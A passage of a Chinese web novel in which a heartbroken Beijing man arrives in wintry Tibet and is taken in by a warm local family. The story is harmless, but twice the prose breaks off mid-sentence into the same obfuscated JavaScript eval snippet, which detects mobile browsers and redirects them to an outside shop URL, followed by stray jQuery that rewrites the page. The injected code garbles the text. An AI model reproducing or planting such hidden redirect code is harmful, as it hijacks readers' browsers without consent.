这人身高至少一米八五,比他高出半个头。肩宽腰窄,羽绒服袖子挽到手肘,露出的小臂线条结实,青筋在深色皮肤下微微隆起。他接过行李箱的动作干脆利落,单手就把二十公斤的箱子提了起来,另一只手还自然地虚扶了一下沈翊的手臂。 “能走吗?”他问,眉头微蹙不安地看着沈翊手里的氧气瓶。 “能。”沈翊下意识挺直背脊,不想显得太弱。 但身体很诚实。走了没几步,他就因为缺氧开始气喘,边走边吸氧的样子滑稽又狼狈。 男人忽然停下脚步:“你先在这儿等我,我把行李放车上再来接你。” 不等沈翊回答,他已经提着箱子大步走向停车场,背影消失在人群里。 沈翊乖乖站在原地,像个被老师罚站的小学生。高原的阳光透过玻璃穹顶洒下来,明晃晃的刺眼。他蹲下身, 把氧气面罩扣在脸上,忽然觉得这个场景荒诞又可笑。 二十七岁的都市白领,蹲在机场门口吸氧,等一个陌生人来“接”。 几分钟后,男人回来了。 他看见蹲在地上的沈翊,脚步顿了顿。沈翊抬起头,正对上那双眼睛,此刻里面闪过一丝近似于……笑意的东西? “我背你吧。”男人说,语气自然得像在问“吃饭了吗?” 沈翊愣住了。 他听说过藏族人热情,但没想到能热情到这种程度。 “不用不用!”他慌忙摆手,差点把氧气瓶甩出去,“我能走,真的。” 男人看着他,忽然笑了。这一笑,左边脸颊现出一个深深的酒窝,那种野生动物般的锐利感瞬间被冲淡,竟显出几分属于年轻人的稚气。 “那慢慢走。”他伸出手,不是要背,而是稳稳扶住了沈翊的手臂。 沈翊本想拒绝,但对方手上的温度透过羽绒服传过来,带着一种不容置疑的坚定。他忽然没了力气挣扎。 算了,就当是高原反应的福利吧。 车是辆半旧的越野车,保养得却很好。内饰干净,没有常见的烟味或香水味,只有一股淡淡的、类似禅木的清新气息。 男人把沈翊安置在副驾驶,俯身过来替他系安全带。这个动作做得太自然,以至于沈翊直到安全带“咔嗒”扣上,才反应过来发生了什么。 “这个位置不容易晕车。”男人解释道,声音近在耳边。 沈翊僵着脖子点头,耳根莫名有点热。太近了,近到他能看清对方睫毛的长度,能闻到他身上混合了阳光和某种草本植物的气味。 车子驶出停车场,汇入通往市区的公路。 音响里流淌出藏语的歌曲,旋律悠扬,女声清亮高亢,像雪山顶上盘旋的鹰。沈翊听不懂歌词,但那曲调里有一种辽阔的东西,让紧绷的神经不知不觉放松下来。 “我叫尼玛旺堆。”开车的男人忽然开口,“今年二十二岁,在上大学。” 他的普通话带着明显的口音,某些字的声调有点飘,但声音本身很好听。纯净,清亮,像山间里流动的溪水。 “沈翊。”沈翊说,“二十七。” 尼玛旺堆侧头看了他一眼,眼睛微微睁大:“一点都不像!我以为你是出来旅游的大学生。” 沈翊被他的表情逗笑了。不是礼貌的微笑,是真正觉得有趣的那种笑。他已经很久没这样笑过了。 “你普通话考试能过吗?”他忽然问,带着点恶作剧的心思。 尼玛旺堆的脸“腾”地红了,一直红到耳根。他握着方向盘的手指收紧,磕磕巴巴地说:“还、还可以吧……应该能过……” 那副如临大敌的样子让沈翊笑出了声。 “你笑什么!”尼玛旺堆更窘迫了,声调都不自觉拔高,“我普通话没有口音!” “没有没有,”沈翊忍着笑,“就是觉得……挺可爱的。” 话一出口,两个人都愣住了。 车厢里的空气微妙地凝滞了几秒。沈翊在心里骂自己:沈翊你疯了吗?对着一个刚认识的男人说“可爱”?高 原反应把脑子也烧坏了吧? 好在尼玛旺堆很快恢复了自然。他轻咳一声,转移话题:“你太瘦了。脸色也苍白,像没血一样。我阿妈看见,肯定要让你多吃几碗饭。” 这话说得直白又认真,没有丝毫客套的成分。沈翊一时不知该怎么接?该说“谢谢关心”,还是“我天生就这 样”? 最后他只是含糊地“嗯”了一声。 窗外的景色在不断变化。从机场高速转到省道,再从省道拐进土路。沥青路面消失,取而代之的是被车轮碾出深深辙印的黄土路。冬季的草地一片枯黄,稀稀拉拉的草秆在风中摇晃,远处是连绵的、光秃秃的山峦。 和网上那些饱和度拉满的“西藏美照”完全不同。 这才是真实的、未经修饰的高原冬季。荒凉,粗糙,却有一种直击人心的力量。 ‘打开神秘世界+1’ 沈翊曾经在大学过有一名藏族同学,由于好奇藏族的生活习性,他曾经在网上刷到过科普藏族生活习性的旅游up主,也曾拿着那些东西问过,那位同学不过她十分愤怒地评价‘主观评价过多,缺少客观,建议少看。’的 客观建议。 --- 一路无言。 他望着窗外渐行渐远的荒芜之地。问,“这辆车是专门用来接机的吗?” 尼玛旺堆随手按下一首曲子,愣了片刻说:“这个啊,不是,这个是私家车,那个用来接机的车它爆胎了,上 午就只有你一个人,我阿妈知道后就让我来接你了。”可以看的出来他家是真的很随意了。 沈翊见这车保养的很好一看就是很爱车的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182976|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尼玛旺堆继续说:“这个是我们自己用来去寺庙或者是去山上接水的时候,这个车的后面有很大的空间,对于我们来说用这个去接水真的很方便还可以放很多。” “你们为什么要专门去山上接水?”沈翊问出了想了一路的问题,“这里的水质不是很好吗?” 尼玛旺堆握着方向盘,目视前方,沉默了几秒才开口:“这个原因……你们可能觉得有点奇怪。” “奇怪?” “嗯。”他点头,“山上的水是从寺庙里流出来的。僧人们也在用。那水比城里的好喝。” 沈翊挑起眉:“水还有好喝不好喝的区别?” “有。”尼玛旺堆答得斩钉截铁,那种认真的神态让沈翊想起大学时班里最较真的学霸,“城里的水是自来水厂处理过的,喝起来有股味道。山上的水是甜的。” 他顿了顿,补充道:“而且冬天和春天的时候,城里的水管会有一股血腥味。我阿妈和姐姐能闻出来,我和舅舅闻不到。很奇怪吧?” 沈翊没说话。 确实奇怪。但奇怪得……很真实。不是旅游攻略里那种被浪漫化的“藏族神秘习俗”,而是实实在在的生活经验,关于水的味道,关于不同人感官的差异,关于一个家庭共享的、细微的日常认知。 “你能接受吗?”尼玛旺堆忽然问,语气里有一丝不易察觉的紧张,“觉得我们这样很……迷.信?” 沈翊摇头:“不。只是以前没听过。” 他看向窗外,一群黑色的牛在远处慢悠悠地啃着草皮。有人骑着摩托车跟在后面,车后座绑着大捆的干草。 “我以前学哲学的时候,老师说过一句话:‘真正的理解,是从承认自己不理解开始的。’”沈翊轻声说,“所以……我想尝尝你说的山泉水。看看是不是真的甜。” 尼玛旺堆侧过头,深深地看了他一眼。 那个眼神很复杂。有惊讶,有探究,还有一种沈翊读不懂的情绪,像是……欣慰? “好。”尼玛旺堆转回头,嘴角又浮起那个酒窝,“等你适应了,我带你去接水。” -- 车子颠簸得更厉害了。 沈翊死死抓着车窗上方的扶手,感觉五脏六腑都要被颠出来。就在他快要忍不住喊停的时候,尼玛旺堆忽然放 慢了车速。 “难受?”他问。 “有点。”沈翊老实承认。 “快了。”尼玛旺堆说,语气里带着点歉疚,“最后一段路不好走。你再忍忍。”放慢了车速。 他从后座捞过一个鼓囊囊的藏式布包还挂着铃铛呢。塞到沈翊怀里:“吃点东西,转移注意力。” 沈翊打开藏式布包,里面是各式各样的藏族零食:奶渣、牛肉干、油炸的面果子,还有几块用油纸包着的、闻起来像奶酪的东西。 “这是我舅舅的零食库。”尼玛旺堆压低声音,像在分享什么了不得的秘密,“偷偷吃,别让他发现。” 那副做贼心虚的样子让沈翊又想笑了。他挑了块最小的奶渣放进嘴里,浓烈的奶味瞬间弥漫开来,差点把他呛 出眼泪。 “吃不惯?”尼玛旺堆问。 “有点……冲。”沈翊灌了一大口水才缓过来。 “慢慢来。”尼玛旺堆笑了,“等你吃完三样,我们就到了。” 沈翊不信,但还是一样样尝过去。牛肉干色泽金黄,口感酥脆,嚼劲十足,还有个腻腻的食物,奶酪倒是意外 地醇厚,当他咬下第三口奶酪时,车子拐过一个弯。 “到了。”尼玛旺堆说。 展现在沈翊眼前的,是一座典型的藏族农家院落。 高大的红色铁门两侧,用黑色颜料画着复杂的蝎子图案——沈翊后来才知道,那是辟邪的符号。 门楣上缠着洁白的哈达,在风中轻轻飘扬。院墙是土坯垒的,有些地方已经斑驳脱落,露出里面深色的夯土。 最引人注目的是门两侧立着的两根木杆,顶端削成尖锥状,上面同样挂着哈达和彩色经幡。似乎还在制作当中。 古朴,粗犷,却有种沉静的力量。 尼玛旺堆把车开进院子。沈翊这才注意到,院子比从外面看起来大得多。左侧是停车棚,右侧是一排低矮的牛圈,几头黑白相间的牦牛正慢悠悠地反刍。正对着大门的是主屋,两层楼,外墙涂成白色,窗户是艳丽的蓝绿色。 一个穿着藏袍的妇女从窗户探出头来,看见车子,脸上绽开笑容。她用藏语说了句什么,尼玛旺堆扬声回应。 沈翊解开安全带,推门下车。 高原的冷空气瞬间包裹了他。这里的冷和北京不同,不是那种湿冷的、钻进骨头缝的寒,而是一种干燥的、清冽的冷,像一把无形的刀子,刮过皮肤时带着轻微的刺痛。 但也异常清醒。 沈翊深吸一口气,空气中混杂着牛粪、干草、炊烟和某种香料的味道,还有一种他从未闻过、却莫名觉得熟悉的气味。 尼玛旺堆提着行李箱走过来,站在他身边。 “欢迎来我家。”他说,然后朝妇女的方向抬了抬下巴,“那是我阿妈,米玛。” 沈翊转头,对上阿妈米玛啦的视线。 那是一双经历过风霜却依然清澈的眼睛。此刻,这双眼睛正温和地、好奇地打量着他,没有审视,没有评判,只有单纯的好奇和善意的欢迎。 沈翊忽然想起王大爷。那个在寒夜里给他做鸡蛋灌饼的老人。他们有着相似的眼神,历经苦难,却依然选择温和地看待这个世界。 “阿姨好。”沈翊抬起头说,声音有些发紧。 阿妈米玛啦笑了,说了句藏语。尼玛旺堆翻译:“她说,外面冷,快进屋喝碗热茶。” 沈翊点点头,跟着他们走向那扇绘着彩色图案的木门。 在跨过门槛的瞬间,他回头看了一眼。 院子外,土路蜿蜒消失在枯黄的草地尽头。天空是那种高原特有的、高远的蓝,几缕云丝像被撕碎的哈达,静静悬在那里。 这里离北京三千多公里。自驾车大概要50小时多一点。 离江泽,离那间充满背叛的公寓,离他失败的前半生,三千多公里。 沈翊转过身,走进了屋里。 温暖的气息扑面而来,混合着酥油、茶叶和燃烧牛粪的味道。光线从狭小的窗户照进来,在地上投下斑驳的光影。 这是一个他完全陌生的世界。 但奇怪的是,他并没有感到恐慌。 只有一种近乎麻木的平静像是终于浮出海面的人,虽然筋疲力尽,但至少,可以呼吸了。 尼玛旺堆在他身后关上了门。 那声轻微的“咔哒”,像是某个旧故事的终结,又像是一个新故事的开始。 4. 热情的人们 那股香气在沈翊踏进屋子的瞬间就包裹了他。 像某种混合了草药、香料和烟火气的复杂味道,陌生,却奇异地让人心安。他在门口顿了顿,深深吸了一口。 高原干燥的空气里,这缕暖香格外清晰。 尼玛旺堆在他身后半步的位置,近到沈翊能感觉到年轻人身上散发的热量。 他想起那句“哥,你走前面”,心里暗笑:这哪里是“前面”?分明就差贴在他背上了。 像只过分热情的大型犬。 “坐这儿还是里面?”尼玛旺堆的声音从耳后传来,“这儿离门近,有点冷。” 沈翊这才意识到自己的手有多冰。在机场时因为高原反应,对寒冷的感知都迟钝了。一路车里的温暖让他误以 为西藏的冬天不过如此。此刻站在没有暖气的屋子里,真实的寒意才顺着脚底爬上来。 他搓了搓手,指尖泛着不健康的青白色。 “这个时间点,”沈翊看了眼窗外还高悬的太阳,“你们平时在干什么?” 尼玛旺堆掏出手机瞥了一眼:“三点半……哦,该吃午饭了。” 沈翊愣了愣,下意识看向自己手腕上的电子表。下午三点半,午饭? “是午饭还是晚饭?”他确认道。 “当然是午饭。”尼玛旺堆答得理所当然,仿佛这世上所有人都该在下午三点半用午餐。 沈翊沉默了几秒。 好吧,是他没见识了。网上那些关于藏族作息时间的传言,原来是真的。 “刻板印象+1。”他在心里默默记下一笔。 尼玛旺堆掀开一扇绘着彩色图案的门帘,示意沈翊进去。 门帘后的世界让沈翊呼吸一滞。 屋子中央是一个巨大的铁皮火炉,炉膛里柴火正旺,橙红的火苗舔舐着炉壁。炉子上坐着一把铜壶,壶嘴冒着白色的蒸汽。 火炉前,一个穿着黑色藏袍的女人背着他们正在添柴,那袍子的领口、袖口和下摆都缀着五颜六色的镶边,像把彩虹穿在了身上。 听见动静,女人转过头来。 沈翊这下完全看清了她的面孔。那是一张被高原阳光和岁月共同雕刻过的脸。皮肤是深麦色,皱纹深刻,但眼睛亮得出奇。看见沈翊,她立刻放下手中的柴火,拍了拍手上的灰,朝火炉旁的空位指了指。 “刚才介绍过的我阿妈,米玛。”尼玛旺堆在他耳边小声说,“不要紧张”,然后提高音量用藏语对女人说了句什么。 阿妈米玛啦笑着点头,从旁边的柜子里取出一个白瓷碗,用布仔细擦了擦,放在火炉边的矮桌上。尼玛旺堆提起铜壶,倒满一碗深褐色的液体。 酥油茶。 尼玛旺堆十分热情地对他说:“哥,你去火炉傍边坐着我给你倒茶。” 沈翊在旅游攻略上看过无数次这个词,但亲眼见到实物还是第一次。那颜色比奶茶深,比咖啡浅,表面浮着一 层薄薄的金黄色油花。热气蒸腾起来,带着浓郁的奶香。 结果不等尼玛旺堆倒茶反而是阿妈米玛啦双手捧起碗,递到他面前。 沈翊慌忙接住。碗壁烫得他指尖发麻,但那股暖意顺着掌心一路蔓延到冻僵的四肢百骸。他低头看着碗里晃动的液体,忽然想起王大爷递过来的鸡蛋灌饼,同样的温度,同样来自陌生人的、不计回报的善意。 阿妈米玛啦说了一串藏语,配合着手势,先是指了指碗,做出被烫到的表情,又做了个“放下”的动作。 沈翊只听懂了语气里的关切,但具体内容一头雾水。他求助地看向尼玛旺堆。 “阿妈说,不用害羞,如果烫就放凉再喝。”尼玛旺堆翻译道,眼睛里带着笑意,“她说你看起来像只受惊的小羊羔。” 沈翊的脸有些发烫。他确实紧张,这种全然陌生的环境,这种直白的好意,都让他不知所措。在北京,人与人之间隔着安全的距离,礼貌而疏离。但在这里,善意来得太直接,直接到让人心慌。 他依言把碗放在桌上,朝阿妈米玛啦点点头。 女人满意地笑了。她指着自己:“米玛。” “沈翊。”沈翊学着她的样子。 “申……遗?”阿妈米玛啦的发音有些别扭,她自己先笑了,露出整齐且干净的牙齿。 “沈翊。”沈翊放慢语速重复。 “沈一?” “对,沈翊。” 这个简单的名字教学进行了三轮,最后以沈翊竖起大拇指、阿妈米玛啦开怀大笑告终。语言不通,但笑容是通用的。 尼玛旺堆用藏语对母亲说了什么。阿妈米玛啦点点头,起身从柜子里又拿出些东西。沈翊没看清是什么,因为尼玛旺堆在这时掏出了手机。 “哥,加个微X?”他问,屏幕已经调到了二维码界面。 沈翊愣了一下。这个请求来得太自然,自然到不像是对一个刚认识两小时的陌生人。 他掏出手机,点开二维码。屏幕亮起的瞬间,他看见了那个还没来得及改的微X号『JiangZe_1120_ShenYi』江 泽的生日,他的名字,曾经以为会用到老的“情侣账号”。 真讽刺。 沈翊迅速点进设置,改名,改头像,一气呵成。做完这一切,他才把二维码递过去。 “为什么人类总喜欢给感情加这么多符号?”他在心里自嘲,“微信号,情侣装,纪念日……好像把这些东西堆砌起来,爱情就真的能永恒似的。” 现在回头看,那时的自己真是傻得可爱。 “加上了。”尼玛旺堆晃了晃手机,屏幕上是沈翊新改的、一片空白的头像和简单的“SY”缩写。 他的声音把沈翊拉回现实。是啊,江泽已经是过去了。 分手的前任就该像座坟墓——立个碑,偶尔缅怀,但绝不回头。 好男人不吃回头草! 尼玛旺堆又对母亲说了几句藏语,然后转向沈翊:“我得出去一趟,很快回来。阿妈不懂汉语,你有事就给我发消息。” 沈翊点点头,看着这个比自己小五岁的年轻人。二十二岁,在大学里本该是最张扬放肆的年纪,可尼玛旺堆身 上有种超乎年龄的沉稳。那种沉稳不是装出来的,而是从小在辽阔天地里长大、见过生死、担过责任的人才会 有的气质。 相比之下,自己二十七岁了,却还像个没长大的孩子——为了一场失败的恋爱,就仓皇逃到三千公里外。 阿妈米玛啦跟着儿子下了楼。沈翊站在窗前,看着他们站在院子里说话。风很大,吹得阿妈米玛啦的藏袍下摆猎猎作响。她说了句什么,尼玛旺堆点头,然后转身走向停在院角的摩托车。 背影挺拔得像棵白杨。 阿妈米玛啦送走儿子,回头看见沈翊还站在窗前,连忙挥手示意他进屋。她指着外面,做了个发抖的动作:“冷,懂?” 沈翊点头,却没动。他看着阿妈米玛啦走向牛圈,从墙角拎起一个巨大的竹篮,开始往里面装干草。装满了,她把篮子背到背上——那篮子看起来比她整个人还大,可她背得稳稳当当。 接着,她拿起铁锹,开始清理牛圈里的粪便。 沈翊站在屋檐下看了很久。寒风吹得他脸颊生疼,但他没进屋。鬼使神差地,他朝着牲畜圈走过去。 阿妈米玛啦看见他,立刻放下铁锹,用力摆手让他回去。 沈翊没听。他走到牛圈边,指着自己,又指了指她,做了个“帮忙”的手势。当然,这手势完全是他自创的, 他自己都不知道想表达什么。 但阿妈米玛啦看懂了或者说,看懂了他的意图。她皱起眉,嘴里念叨着什么,语速很快,沈翊只听出“不听话”、“哎呀”几个破碎的音节。 最后她放弃了,转身继续干活,但动作明显加快了。沈翊就站在一旁看着,想帮忙但无处下手。牛圈里的牦牛抬起头,用湿漉漉的大眼睛打量这个陌生人,鼻腔里喷出白色的雾气。 几分钟后,阿妈米玛啦收拾完牛圈,洗了手,拉着沈翊回到屋里。一进屋,她就打开电视,把遥控器塞到他手里,做了个“随便看”的手势。 沈翊哭笑不得。他握着遥控器,把几十个台轮番换了一遍——藏语节目、汉语新闻、印度宝莱坞电影、还有信号极不稳定的体育频道。最后他停在了一个正在播放动物世界的台,至少画面能看懂。 阿妈米玛啦给他倒了三次酥油茶。第一次喝时,沈翊被那股咸味和浓厚的奶味呛得差点吐出来。但喝到第三碗,他竟然开始觉得……还行。不是好喝,而是一种可以接受的、陌生的味道。 就像他现在的生活。 院门被推开的声音传来时,沈翊正盯着电视屏幕上一群迁徙的角马发呆。 阿妈米玛啦立刻起身走到窗边,看清来人后,她脸上绽开笑容,快步走回火炉边添柴加火。接着她打开墙角的冰箱——那是个老式的双开门冰箱,外壳已经泛黄——从里面拿出一大块冻硬的牛肉,放在案板上开始切。 第一块切好的肉,她没放进盘子里,而是用筷子夹着,递到沈翊面前。 沈翊愣住。 “吃。”阿妈米玛啦用生硬的汉语说,眼神里是不容拒绝的慈爱。 他只好接过那块生牛肉,真的是生的,还带着冰碴。正当他不知该如何是好时,门帘被掀开了。 尼玛旺堆抱着一堆东西进来,身后跟着一个女人。 不,用“女人”这个词不太准确。那是个看起来二十三四岁的姑娘,但气质完全不像沈翊想象中的藏族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182977|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女性。 她穿着修身的牛仔裤,黑色马丁靴,上身是件皮质马甲,里面套着高领毛衣。长发在脑后扎成利落的马尾,露出饱满的额头和一双锐利的眼睛。 如果放在武侠小说里,这绝对是能独自行走江湖的侠女。 尼玛旺堆用藏语对她说了句什么,手指向沈翊。那姑娘的视线立刻扫了过来——不是打量,是审视,像在评估一件物品的价值。 沈翊下意识挺直了背。 姑娘走到火炉边,伸手烤了烤火,然后转向沈翊,开口是字正腔圆的普通话:“你订的民宿是我开的。房间暖气坏了,暂时住不了。你要是不嫌弃,这几天就住我家,房费不用给了。” 沈翊立刻站起来:“这怎么行?该付的钱一定要付。” “付什么?”姑娘挑了挑眉,“我收了钱,却让你住不了订的房间,那不成诈骗了?” “可是——” “没什么可是。”她打断他,语气干脆得像在砍柴,“我家空房间多,不差你一个。你要真过意不去,就陪我弟说说话,他天天对着牛和草原,快憋出病了。” 尼玛旺堆结果阿妈米玛啦手里的刀,正在替她切肉,闻言抬起头,用藏语说了句什么。姑娘白了他一眼,回了一句,两人你来我往地斗了几句嘴,虽然听不懂内容,但那种亲昵的、互不相让的姐弟氛围,沈翊看懂了。 “正式介绍一下,”尼玛旺堆切完最后一块肉,洗干净手走过来,“这是我姐,德吉次仁。” “沈翊。”沈翊朝她点点头。 “我知道。”德吉次仁在火炉边的小凳子上坐下,尼玛旺堆自然地给她倒了碗酥油茶,“二十七岁,从北京来,冬天一个人跑西藏,正常人干不出这事儿。” 沈翊被噎得说不出话。他能说什么?说“我被绿了,出来散心”?这话太矫情,他说不出口。 德吉次仁盯着他看了几秒,忽然笑了。那笑容和她弟弟不一样。尼玛旺堆的笑是阳光直射的温暖,她的笑是月 光洒在雪地上的清冷。 “算了,不问你了。”她掏出手机,点开相册,“附近几家民宿老板我都认识,你看看有没有喜欢的。有的话,我让他们给你留房。” 她把手机直接塞到沈翊手里,毫不设防。 沈翊接过,一张张翻看照片。装修精致的藏式客栈,能看见雪山的观景房,带地暖的现代化民宿……都很好,但都不是他现在想要的。 他想要的是火炉边这份真实的、带着牛粪味和酥油茶香的温暖。是阿妈米玛啦递过来的生牛肉,是尼玛旺堆那句“有事给我发消息”,是德吉次仁毫不客气的“正常人干不出这事儿”。 他把手机递回去:“谢谢,但我还是想住这儿。” 德吉次仁挑了挑眉,没说话。 尼玛旺堆又给沈翊添了半碗茶,沈翊看着那深褐色的液体,胃里一阵发紧。他真的喝不下了,但面对这家人毫无保留的热情,他说不出“不”字。 不是因为客气。 而是因为,他太久没被人这样毫无理由地善待过了。在北京,每一份善意都标着价码,每一次帮助都期待着回 报。但在这里,善意就是善意,简单得像火炉里燃烧的牛粪,不是为了取暖才点,而是点了,自然就暖了。 沈翊端起碗,小口小口地喝。咸味,奶味,油腥味,还有某种说不清道不明的、属于这片土地的味道。 窗外的天色渐渐暗下来。火炉里的柴火噼啪作响,映得每个人的脸都泛着暖光。电视里的角马还在迁徙,藏语 新闻主播的声音平稳低沉,阿妈米玛啦开始往锅里下肉,德吉次仁和尼玛旺堆用藏语低声交谈着什么。 沈翊坐在这一片嘈杂而真实的温暖里,忽然觉得,也许冬天来西藏,是他这辈子做过最正确的决定。 不是因为这里能治愈什么。 而是因为,在这里,他允许自己暂时不用被治愈。 允许自己只是坐着,只是呼吸,只是当一个不用解释为什么而来的、狼狈的陌生人。 德吉次仁忽然抬头看他,眼神锐利如刀:“你真打算一整个冬天都待在这儿?” 沈翊想了想,诚实地说:“我不知道。” “那就待着。”她说,语气随意得像在说“那就喝茶”,“反正冬天长着呢,有的是时间想。” 尼玛旺堆在一旁笑了,酒窝深深:“对,有的是时间。” 沈翊看着这对姐弟,看着炉火前忙碌的阿妈米玛啦,看着碗里还剩一半的酥油茶。 是啊,有的是时间。 至少现在,他不再急着逃离,也不再急着寻找答案。 他只是坐在这里,在一个陌生的家庭里,喝着一碗不太习惯却逐渐接受的茶。 这就够了。 5. 香炉与猫 这种直来直去的相处方式,在以前的社交圈里几乎绝迹。大家说话总要绕几个弯,揣摩几分深意,累得慌。 “你家很好。”他认真地说,“我很满意。” 德吉次仁盯着他看了几秒,像是要确认这话的真伪。然后她肩膀一松,整个人靠回椅背:“说实话,我挺怕你不习惯的。农村嘛,再怎么收拾也……” “没有的事。”沈翊打断她,“很干净。而且能近距离体验你们的生活,这种机会不是谁都有的。” 这话是发自肺腑。来西藏之前,他以为的“旅行”是住标准化酒店、按攻略打卡景点、拍些照片来证明“我来过”的证据。但现在,坐在这个炉火旺盛的屋子里,听着听不懂的藏语对话,闻着混合了酥油、牛粪和草药的特殊气味、这才是真正的“体验”,粗糙、真实、不设防。 德吉次仁苦笑了一下:“我本来还担心你接受不了我们一些……嗯,看上去奇怪的习俗。这下好了,你要亲自体会了。” 又是“奇怪”这个词。 沈翊想起尼玛旺堆在车上也说过类似的话,关于山泉水的味道,关于水里的血腥味。为什么他们总用这个词形容自己的文化? “我接受度很高。”沈翊说。 德吉次仁没接话,只是叹了口气,那表情像是在说:年轻人,话别说太满哦。 尼玛旺堆抱着一袋面粉从里屋出来,递给姐姐。德吉次仁一见面粉,立刻像被烫到一样弹起来,连连摆手: “别别别,这个我不行。” 她逃也似的回到火炉边,把战场留给弟弟。 尼玛旺堆笑着摇摇头,开始和面。他动作熟练,手指修长有力,在面粉堆里翻搅、揉捏,白絮沾在深色的手背上,形成鲜明的对比。 “我阿姐有时候说话……”他边揉面边解释,斟酌着用词,“比较直接。你当她自言自语就好。” 沈翊心想,这哪里是“直接”,分明是锋利得像藏刀。但他喜欢这种锋利——至少真实。 阿妈米玛啦不知何时出去了,这会儿抱着几块晒干的牛粪块回来,放进火炉前的铁盒里。她拍了拍手,从尼玛旺堆手里接过茶壶,又给沈翊续了满满一碗。 “谢谢。”沈翊双手接过。这次他学乖了,先小口试探温度。 酥油茶还是烫,但已不像第一碗那样难以入口。咸味、奶味、茶味在口腔里混合成一种复杂的滋味,像这片土地给人的感觉,乍看粗粝,细品却层次丰富。 “你每天都这么忙吗?”沈翊看着尼玛旺堆忙碌的身影,随口问道。 尼玛旺堆把和好的面团放在案板上,擦了擦手:“这几天还好。过阵子要去市里打工,那时候才真叫忙。” “打工?不在这里?” “嗯,在市里。”尼玛旺堆语气平静,但沈翊听出了一丝不易察觉的无奈。 他没再追问。家家有本难念的经,这个道理他懂。 “需要帮忙吗?”沈翊站起来,“做饭什么的,我虽然不擅长,但打下手还行。” 尼玛旺堆愣了一下,随即笑了:“不用。今天做‘藏式肉包’,很快就好。” “藏式肉饼?” “就是……类似饺子的东西。”尼玛旺堆用沾着面粉的手挠了挠脖子,那个小动作透出几分属于他这个年纪的腼腆,“藏语叫‘夏嬷嬷’这个,你也许可能会觉得名字怪。” 沈翊不觉得怪。他甚至觉得“夏嬷嬷”这个词有种可爱的笨拙感,像小孩子给心爱玩具起的名字。 接下来的两个小时,沈翊见到了一个藏族家庭日常的运作。 尼玛旺堆负责和面、调馅、包“藏式肉包”,那手法快得让人眼花缭乱,一个个饱满的面团在他手里诞生,整整齐齐地码在蒸屉上。德吉次仁负责照看炉火,添柴、控制火候,偶尔用藏语和弟弟斗几句嘴。阿妈米玛啦则从里屋搬出一个大铜盆,里面装满了银光闪闪的碗。她坐在火炉边,用软布仔细擦拭每一个碗,神情专注得像在完成某种仪式。 “这些碗是做什么用的?”沈翊小声问尼玛旺堆。 “供佛的。”尼玛旺堆头也不抬对他说:“每天早上装净水,下午倒掉擦干净,第二天再装。循环往复。” 沈翊点点头。他不懂佛教的东西,但能从阿妈米玛啦的动作里感受到那种虔诚,不是为了祈求什么,而是一种日常的、如同呼吸般的习惯。 电视里还在播放动物世界。角马群终于渡过了鳄鱼潜伏的河流,开始向新的草原迁徙。德吉次仁盯着屏幕看了一会儿,忽然用藏语对尼玛旺堆说了句什么。 尼玛旺堆手里的动作顿了顿。他没抬头,而是掏出手机,以最快的速度结束做饭的工作。然后去洗手,回来后点开游戏。电子游戏的音效在安静的屋子里显得格外突兀。 德吉次仁白了他一眼,放下手里的柴火,走过去在他额头上不轻不重地敲了一下。尼玛旺堆缩了缩脖子,没躲,只是把游戏声音关小了。 那种亲昵的、只有家人之间才有的互动,让沈翊心里某个角落微微发酸。 “有兄弟姐妹……是什么感觉?”他问,声音比预想的要轻。 德吉次仁转过头,眼神里闪过一丝惊讶:“你是独生子?” 沈翊点头。 德吉次仁沉默了几秒,左手不自觉地搓了搓脖子,沈翊发现这是她思考时的小动作。 “还行吧。”她说,“就是得时刻操心。怕他走弯路,怕他被人欺负,怕他过得不好。” 尼玛旺堆插嘴:“我觉得很好。天塌下来,还有一个人替我顶着。” “那是你觉得!”德吉次仁瞪他,“我每天都快被你气死了。” 话是这么说,但她眼里带着笑。那种笑里有关切,有无奈,还有很深很深的、属于血缘的羁绊。 沈翊看着他们,由衷地说:“真羡慕你们。” “羡慕什么?”德吉次仁摇头,“人人都羡慕自己没有的东西。我们还羡慕你们独生子呢,不用替谁操心,自 由自在。” 这话沈翊听过很多次。在以前工作的地方,那些有兄弟姐妹的朋友也常这么说。但此刻从德吉次仁嘴里说出来,他听出了不一样的东西。不是客套,是真正的、经过思考后的结论。 她掀开锅盖看了看:“好了,吃饭。” 晚餐很简单:蒸好的“瞎摸”,一大盆骨头汤,还有阿妈米玛啦下午切的生牛肉,其中有一部分被炒过一遍。 但吃饭的阵仗一点也不简单。 尼玛旺堆摆好碗筷,阿妈米玛啦就一个劲往沈翊盘子里夹“藏式肉包”。那种食物确实像饺子,但皮更厚,馅是纯牛肉,咬下去汁水丰盈,带着高原特有的粗犷风味。 沈翊吃了五个就饱了。但当他放下筷子,阿妈米玛啦立刻又夹了两个过来,用生硬的汉语说:“吃,瘦。” 尼玛旺堆笑着翻译:“阿妈说你太瘦了,一看就是不好好吃饭。” 沈翊只好硬着头皮继续吃。最后他吃了整整两碟,还喝了一大碗汤,撑得几乎站不起来。 尼玛旺堆开了一壶青稞酒,自己倒了一碗,又示意沈翊。沈翊摆摆手:“实在喝不下了,明天吧。” 阿妈米玛啦看着他,又说了句藏语。尼玛旺堆翻译:“阿妈说,你这样的孩子,在我们这儿是要被当成宝贝养的。” 